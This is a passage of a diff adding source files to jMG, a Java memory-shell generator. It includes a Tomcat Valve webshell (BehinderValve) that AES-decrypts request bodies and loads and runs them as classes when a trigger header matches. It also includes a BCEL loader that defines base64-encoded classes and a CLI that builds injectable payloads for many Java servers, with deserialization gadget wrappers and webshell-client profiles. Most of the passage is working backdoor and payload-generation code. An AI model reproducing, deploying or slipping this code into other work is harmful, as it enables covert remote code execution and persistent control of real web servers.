} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,89 @@
package jmg.behinder.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public BehinderValve() {
}
public BehinderValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
HttpSession session = (request.getSession());
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,51 @@
package jmg.behinder.util;
import jmg.behinder.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
import java.util.Map;
public class ShellUtil {
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> toolMap = new HashMap();
public ShellUtil() {
}
public static String getShellName(String toolType, String shellType) {
Map<String, String> shellMap = toolMap.get(toolType);
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
}
public static String getShellClassName(String shellName) throws Exception {
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
throw new Exception("Invalid shell type '" + shellName + "'");
} else {
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
}
}
static {
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
Map<String, String> behinderMap = new HashMap();
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
}
}
+64
View File
@@ -0,0 +1,64 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.9</version>
</parent>
<artifactId>jmg-cli</artifactId>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.jline/jline -->
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline</artifactId>
<version>3.21.0</version>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>${parent.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>jmg.cli.CLIApp</mainClass>
</manifest>
</archive>
<appendAssemblyId>false</appendAssemblyId>
<outputDirectory>../releases</outputDirectory>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
@@ -0,0 +1,9 @@
package jmg.cli;
public class CLIApp {
public static void main(String[] args) throws Throwable {
Console console = new Console();
console.init();
console.run();
}
}
+238
View File
@@ -0,0 +1,238 @@
package jmg.cli;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.sdk.jMGenerator;
import jmg.sdk.util.SDKResultUtil;
import org.jline.reader.LineReader;
import org.jline.reader.LineReaderBuilder;
import org.jline.reader.impl.completer.StringsCompleter;
import org.jline.terminal.Terminal;
import org.jline.terminal.TerminalBuilder;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
public class Console {
private static AbstractConfig config = new AbstractConfig();
private static final List<String> SERVER_TYPES = Arrays.asList(
Constants.SERVER_TOMCAT,
Constants.SERVER_SPRING_MVC,
Constants.SERVER_JETTY,
Constants.SERVER_RESIN,
Constants.SERVER_WEBLOGIC,
Constants.SERVER_WEBSPHERE,
Constants.SERVER_UNDERTOW,
Constants.SERVER_GLASSFISH,
Constants.SERVER_JBOSS,
Constants.SERVER_TONGWEB,
Constants.SERVER_APUSIC,
Constants.SERVER_BES,
Constants.SERVER_INFORSUITE);
private static final List<String> TOOL_TYPES = Arrays.asList(
Constants.TOOL_GODZILLA,
Constants.TOOL_BEHINDER,
Constants.TOOL_ANTSWORD,
Constants.TOOL_SUO5,
Constants.TOOL_NEOREGEORG);
private static final List<String> SHELL_TYPES = Arrays.asList(
Constants.SHELL_LISTENER,
Constants.SHELL_FILTER,
Constants.SHELL_INTERCEPTOR);
private static final List<String> FORMAT_TYPES = Arrays.asList(
Constants.FORMAT_BASE64,
Constants.FORMAT_BCEL,
Constants.FORMAT_BIGINTEGER,
Constants.FORMAT_CLASS,
Constants.FORMAT_JAR,
Constants.FORMAT_JAR_AGENT,
Constants.FORMAT_JSP);
private static final List<String> GADGET_TYPES = Arrays.asList(
Constants.GADGET_NONE,
Constants.GADGET_JDK_TRANSLET,
Constants.GADGET_XALAN_TRANSLET,
Constants.GADGET_FJ_GROOVY,
Constants.GADGET_SNAKEYAML);
public void init() {
System.out.println(String.format("Welcome to jMG %s !", Constants.JMG_VERSION));
config = new AbstractConfig() {{
// 设置工具类型
setToolType(Constants.TOOL_GODZILLA);
// 设置中间件 or 框架
setServerType(Constants.SERVER_TOMCAT);
// 设置内存马类型
setShellType(Constants.SHELL_LISTENER);
// 设置输出格式为 BASE64
setOutputFormat(Constants.FORMAT_BASE64);
// 设置漏洞利用封装,默认不启用
setGadgetType(Constants.GADGET_NONE);
// 初始化基础配置
build();
}};
}
public void run() throws Throwable {
List<String> commands = Arrays.asList("help", "list", "use", "set", "show", "generate", "info", "exit");
Terminal terminal = TerminalBuilder.builder().build();
LineReader lineReader = LineReaderBuilder.builder()
.terminal(terminal)
.completer(new StringsCompleter(commands))
.build();
String prompt = "jmg > ";
String line;
while (true) {
line = lineReader.readLine(prompt);
String[] parts = line.trim().split("\\s+");
String command = parts[0];
String argument1 = parts.length > 1 ? parts[1] : null;
String argument2 = parts.length > 2 ? parts[2] : null;
switch (command) {
case "help":
help();
break;
case "list":
list(argument1);
break;
case "use":
use(argument1, argument2);
break;
case "set":
set(argument1, argument2);
break;
case "get":
get(argument1);
break;
case "generate":
generate();
break;
case "info":
info();
break;
case "exit":
System.out.println("Bye!");
return;
default:
System.out.println("Unknown command: " + line);
}
}
}
public static void help() {
String[][] helpMessages = {
{"help", "help message", "帮助信息"},
{"list [type]", "list toolTypes/serverTypes/formatTypes/shellTypes", "支持的工具类型/中间件|框架/组件类型/输出格式"},
{"use <type> <name>", "choose toolType/serverType/formatType/shellType", "选择工具类型/中间件|框架/组件类型/输出格式"},
{"set <key> <value>", "set pass/key/headerName/headerValue/urlPattern/...", "设置密码/密钥/请求头名称/请求头值/请求路径[/*]/..."},
{"get <type>", "get <type> or <key>", "查看配置"},
{"generate", "generate payload", "生成载荷"},
{"info", "connect info", "连接信息"},
{"exit", "exit jmg", "退出"}
};
for (String[] message : helpMessages) {
System.out.println(String.format("%-20s %-50s %-40s", message[0], message[1], message[2]));
}
}
public static void list(String argument1) {
if ("serverTypes".equalsIgnoreCase(argument1)) {
System.out.println("Servers: " + SERVER_TYPES);
} else if ("toolTypes".equalsIgnoreCase(argument1)) {
System.out.println("Tools: " + TOOL_TYPES);
} else if ("shellTypes".equalsIgnoreCase(argument1)) {
System.out.println("Shells: " + SHELL_TYPES);
} else if ("formatTypes".equalsIgnoreCase(argument1)) {
System.out.println("Formats: " + FORMAT_TYPES);
} else if ("gadgetTypes".equalsIgnoreCase(argument1)) {
System.out.println("Gadgets: " + GADGET_TYPES);
} else {
System.out.println("Unknown type: " + argument1);
}
}
public static void get(String argument1) {
try {
String methodName = "get" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
Method method = config.getClass().getMethod(methodName);
System.out.println(argument1 + " : " + method.invoke(config));
} catch (NoSuchMethodException e) {
System.out.println("Unknown type: " + argument1);
} catch (IllegalAccessException | InvocationTargetException e) {
System.out.println("Error getting value for type: " + argument1);
}
}
public static void use(String argument1, String argument2) {
if ("serverType".equalsIgnoreCase(argument1)) {
if (!SERVER_TYPES.contains(argument2)) {
System.out.println("Unsupported server type: " + argument2);
return;
}
set("serverType", argument2);
} else if ("toolType".equalsIgnoreCase(argument1)) {
if (!TOOL_TYPES.contains(argument2)) {
System.out.println("Unsupported tool type: " + argument2);
return;
}
set("toolType", argument2);
} else if ("shellType".equalsIgnoreCase(argument1)) {
if (!SHELL_TYPES.contains(argument2)) {
System.out.println("Unsupported shell type: " + argument2);
return;
}
set("shellType", argument2);
} else if ("formatType".equalsIgnoreCase(argument1)) {
if (!FORMAT_TYPES.contains(argument2)) {
System.out.println("Unsupported format type: " + argument2);
return;
}
set("outputFormat", argument2);
} else if ("gadgetType".equalsIgnoreCase(argument1)) {
if (!GADGET_TYPES.contains(argument2)) {
System.out.println("Unsupported gadget type: " + argument2);
return;
}
set("gadgetType", argument2);
} else {
System.out.println("Unknown type: " + argument1);
}
}
public static void set(String argument1, String argument2) {
try {
String methodName = "set" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
Method method = config.getClass().getMethod(methodName, String.class);
method.invoke(config, argument2);
System.out.println(argument1 + " : " + argument2);
} catch (NoSuchMethodException e) {
System.out.println("Unknown key: " + argument1);
} catch (IllegalAccessException | InvocationTargetException e) {
System.out.println("Error setting value for key: " + argument1);
}
}
public static void generate() throws Throwable {
// 更新配置
config.build();
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
generator.printPayload();
}
public static void info() throws Throwable {
// 连接信息
SDKResultUtil.printBasicInfo(config);
SDKResultUtil.printDebugInfo(config);
}
}
+81
View File
@@ -0,0 +1,81 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<artifactId>java-memshell-generator</artifactId>
<groupId>jmg</groupId>
<version>1.0.9</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jmg-core</artifactId>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.3.29</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webflux</artifactId>
<version>5.3.29</version>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
<version>5.0.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.58</version>
<exclusions>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-juli</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jni</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-util-scan</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-annotations-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jsp-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
</exclusion>
<exclusion>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jaspic-api</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,454 @@
package jmg.core.config;
import jmg.core.util.ClassNameUtil;
import jmg.core.util.CommonUtil;
import jmg.core.util.RandomHttpHeaderUtil;
import java.util.HashMap;
import java.util.Map;
public class AbstractConfig {
private String injectorClassName;
public String getInjectorClassName() {
return injectorClassName;
}
public void setInjectorClassName(String injectorClassName) {
this.injectorClassName = injectorClassName;
}
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
this.implementsASTTransformationType = implementsASTTransformationType;
}
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
}
public boolean isImplementsASTTransformationType() {
return implementsASTTransformationType;
}
public boolean isImplementsScriptEngineFactory() {
return implementsScriptEngineFactory;
}
private String injectorSimpleClassName;
public String getInjectorSimpleClassName() {
return injectorSimpleClassName;
}
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
this.injectorSimpleClassName = injectorSimpleClassName;
}
private byte[] injectorBytes;
public byte[] getInjectorBytes() {
return injectorBytes;
}
public void setInjectorBytes(byte[] injectorBytes) {
this.injectorBytes = injectorBytes;
}
private int injectorBytesLength;
public int getInjectorBytesLength() {
return injectorBytesLength;
}
public void setInjectorBytesLength(int injectorBytesLength) {
this.injectorBytesLength = injectorBytesLength;
}
private String shellClassName;
public String getShellClassName() {
return shellClassName;
}
public void setShellClassName(String className) {
this.shellClassName = className;
}
private String shellSimpleClassName;
public String getShellSimpleClassName() {
return shellSimpleClassName;
}
public void setShellSimpleClassName(String shellSimpleClassName) {
this.shellSimpleClassName = shellSimpleClassName;
}
private byte[] shellBytes;
public byte[] getShellBytes() {
return shellBytes;
}
public void setShellBytes(byte[] shellBytes) {
this.shellBytes = shellBytes;
}
private int shellBytesLength;
public int getShellBytesLength() {
return shellBytesLength;
}
public void setShellBytesLength(int shellBytesLength) {
this.shellBytesLength = shellBytesLength;
}
public String getShellGzipBase64String() {
return shellGzipBase64String;
}
public void setShellGzipBase64String(String shellGzipBase64String) {
this.shellGzipBase64String = shellGzipBase64String;
}
public String shellGzipBase64String;
public boolean isEnableBypassJDKModule() {
return enableBypassJDKModule;
}
public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
this.enableBypassJDKModule = enableBypassJDKModule;
}
private boolean enableBypassJDKModule;
public boolean isEnableDebug() {
return enableDebug;
}
public void setEnableDebug(boolean enableDebug) {
this.enableDebug = enableDebug;
}
private boolean enableDebug = false;
private String urlPattern;
private String outputFormat;
private String savePath;
private String pass;
private String key;
private String serverType;
private String shellType;
private String headerName;
private String headerValue;
private String methodBody;
private String gadgetType;
public String getUrlPattern() {
return urlPattern;
}
public void setUrlPattern(String urlPattern) {
this.urlPattern = urlPattern;
}
public String getOutputFormat() {
return outputFormat;
}
public void setOutputFormat(String outputFormat) {
this.outputFormat = outputFormat;
}
public String getSavePath() {
return savePath;
}
public void setSavePath(String savePath) {
this.savePath = savePath;
}
public String getPass() {
return pass;
}
public void setPass(String pass) {
this.pass = pass;
}
public String getKey() {
return key;
}
public void setKey(String key) {
this.key = key;
}
public String getServerType() {
return serverType;
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public String getShellType() {
return shellType;
}
public void setShellType(String shellType) {
this.shellType = shellType;
}
public String getToolType() {
return toolType;
}
public void setToolType(String toolType) {
this.toolType = toolType;
}
public String toolType;
public String getHeaderName() {
return headerName;
}
public void setHeaderName(String headerName) {
this.headerName = headerName;
}
public String getHeaderValue() {
return headerValue;
}
public void setHeaderValue(String headerValue) {
this.headerValue = headerValue;
}
public String getGadgetType() {
return gadgetType;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
public Map getMessage() {
return result;
}
public void setMessage(Map message) {
this.result = message;
}
private Map result = new HashMap();
public String getExprEncoder() {
return exprEncoder;
}
public void setExprEncoder(String exprEncoder) {
this.exprEncoder = exprEncoder;
}
private String exprEncoder;
public String getExtenderSimpleClassName() {
return extenderSimpleClassName;
}
private String extenderSimpleClassName;
public String getLoaderClassName() {
return loaderClassName;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public String loaderClassName;
private String classFilePath;
public String getClassFilePath() {
return classFilePath;
}
public void setClassFilePath(String classFilePath) {
this.classFilePath = classFilePath;
}
public byte[] getExtenderBytes() {
return extenderBytes;
}
public void setExtenderBytes(byte[] extenderBytes) {
this.extenderBytes = extenderBytes;
}
private int extenderBytesLength;
private String extenderClassName;
private byte[] extenderBytes;
private String detectWay;
public String getDetectWay() {
return detectWay;
}
public void setDetectWay(String detectWay) {
this.detectWay = detectWay;
}
private boolean enabledExtender = false;
public boolean isEnabledExtender() {
return enabledExtender;
}
public void setEnabledExtender(boolean enabledExtender) {
this.enabledExtender = enabledExtender;
}
public int getExtenderBytesLength() {
return extenderBytesLength;
}
public void setExtenderBytesLength(int extenderBytesLength) {
this.extenderBytesLength = extenderBytesLength;
}
public String getExtenderClassName() {
return extenderClassName;
}
public void setExtenderClassName(String extenderClassName) {
this.extenderClassName = extenderClassName;
}
private String dnsDomain;
public String getDnsDomain() {
return dnsDomain;
}
public void setDnsDomain(String dnsDomain) {
this.dnsDomain = dnsDomain;
}
public String getBaseUrl() {
return baseUrl;
}
public void setBaseUrl(String baseUrl) {
this.baseUrl = baseUrl;
}
public String baseUrl;
public String getSleepTime() {
return sleepTime;
}
public void setSleepTime(String sleepTime) {
this.sleepTime = sleepTime;
}
public String sleepTime;
public void setExtenderSimpleClassName(String extenderSimpleClassName) {
this.extenderSimpleClassName = extenderSimpleClassName;
}
public String getJarClassName() {
return this.jarClassName;
}
public void setJarClassName(String jarClassName) {
this.jarClassName = jarClassName;
}
private String jarClassName;
public byte[] getBytesInLoader() {
return bytesInLoader;
}
public void setBytesInLoader(byte[] bytesInLoader) {
this.bytesInLoader = bytesInLoader;
}
private byte[] bytesInLoader;
public String getClassNameInLoader() {
return classNameInLoader;
}
public void setClassNameInLoader(String classNameInLoader) {
this.classNameInLoader = classNameInLoader;
}
private String classNameInLoader;
public void build() {
// 检查 serverType、modelType、formatType 是否已设置
if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set.");
}
// 无自定义则随机生成
Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
if (this.getHeaderName() == null) this.setHeaderName(header.getKey());
if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue());
if (this.getUrlPattern() == null) this.setUrlPattern("/*");
if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir"));
if (this.getInjectorClassName() == null)
this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
if (this.getInjectorSimpleClassName() == null)
this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName()));
if (this.getShellClassName() == null)
this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
if (this.getShellSimpleClassName() == null)
this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
}
}
@@ -0,0 +1,80 @@
package jmg.core.config;
public class Constants {
public static final String JMG_VERSION = "1.0.9_250101";
public static final String JMG_NAME = "java-memshell-generator";
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
public static final String JMG_AUTHOR = "pen4uin";
public static final String SERVER_TOMCAT = "Tomcat";
public static final String SERVER_SPRING_MVC = "SpringMVC";
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
public static final String SERVER_JETTY = "Jetty";
public static final String SERVER_RESIN = "Resin";
public static final String SERVER_WEBLOGIC = "WebLogic";
public static final String SERVER_WEBSPHERE = "WebSphere";
public static final String SERVER_UNDERTOW = "Undertow";
public static final String SERVER_GLASSFISH = "GlassFish";
public static final String SERVER_JBOSS = "JBoss";
public static final String SERVER_TONGWEB = "Tongweb";
public static final String SERVER_APUSIC = "Apusic";
public static final String SERVER_INFORSUITE = "InforSuite";
public static final String SERVER_BES = "BES";
public static final String SHELL_LISTENER = "Listener";
public static final String SHELL_FILTER = "Filter";
public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
public static final String SHELL_VALVE = "Valve";
public static final String SHELL_INTERCEPTOR = "Interceptor";
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
public static final String FORMAT_CLASS = "CLASS";
public static final String FORMAT_BCEL = "BCEL";
public static final String FORMAT_JSP = "JSP";
public static final String FORMAT_JAR = "JAR";
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
public static final String FORMAT_JS = "JS";
public static final String FORMAT_BASE64 = "BASE64";
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
public static final String GADGET_SNAKEYAML = "SnakeYaml";
public static final String GADGET_NONE = "NONE";
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
public static final String TOOL_ANTSWORD = "AntSword";
public static final String TOOL_BEHINDER = "Behinder";
public static final String TOOL_GODZILLA = "Godzilla";
public static final String TOOL_CUSTOM = "Custom";
public static final String TOOL_NEOREGEORG = "NeoreGeorg";
public static final String TOOL_SUO5 = "Suo5";
public static final String EXPR_EL = "EL";
public static final String EXPR_SPEL = "SpEL";
public static final String EXPR_OGNL = "OGNL";
public static final String EXPR_FREEMARKER = "FreeMarker";
public static final String EXPR_VELOCITY = "Velocity";
public static final String EXPR_JS = "ScriptEngineManager(JS)";
public static final String DETECT_DNS = "DNSLog";
public static final String DETECT_HTTP = "HTTPLog";
public static final String DETECT_SLEEP = "Sleep";
public static final String DETECT_DFSECHO = "DFSEcho";
}
+15
View File
@@ -0,0 +1,15 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.util.Base64;
public class BASE64Formater implements IFormater {
@Override
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
Base64.Encoder base64Encoder = Base64.getEncoder();
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
}
}
+25
View File
@@ -0,0 +1,25 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import jmg.core.util.ClassNameUtil;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
public class BCELFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
// 解决 BCEL ClassLoader 带来的问题
if (config.isEnabledExtender()){
config.setBytesInLoader(config.getExtenderBytes());
config.setClassNameInLoader(config.getExtenderClassName());
}else{
config.setBytesInLoader(config.getInjectorBytes());
config.setClassNameInLoader(config.getInjectorClassName());
}
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
return HackBCELs.encode(bcelClzBytes).getBytes();
}
}
@@ -0,0 +1,53 @@
package jmg.core.format;
import java.lang.reflect.Method;
public class BCELoader {
static {
new BCELoader();
}
private String getClassName() {
return "";
}
private String getBase64String() {
return "";
}
public BCELoader() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] clazzBytes = decodeFromBase64(getBase64String());
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
clazz.newInstance();
} catch (Exception ee) {
}
}
}
public static byte[] decodeFromBase64(String input) {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
} catch (Exception var5) {
}
}
return var2;
}
}
@@ -0,0 +1,77 @@
package jmg.core.format;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jmg.core.config.AbstractConfig;
import jmg.core.util.JavassistUtil;
public class BCELoaderGenerator {
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
try {
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
pool.insertClassPath(classPath);
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
ctClass.setName(config.getLoaderClassName());
ctClass.getClassFile().setVersionToJava5();
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getClassNameInLoader()));
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String base64ClassString = encodeToBase64(config.getBytesInLoader()).replaceAll("[\\s*\t\n\r]", "");
String[] parts = splitChunks(base64ClassString, 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0) result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
ctClass.defrost();
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private static String encodeToBase64(byte[] input) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
} catch (Exception var5) {
}
}
return value;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
@@ -0,0 +1,14 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.math.BigInteger;
public class BigIntegerFormater implements IFormater {
@Override
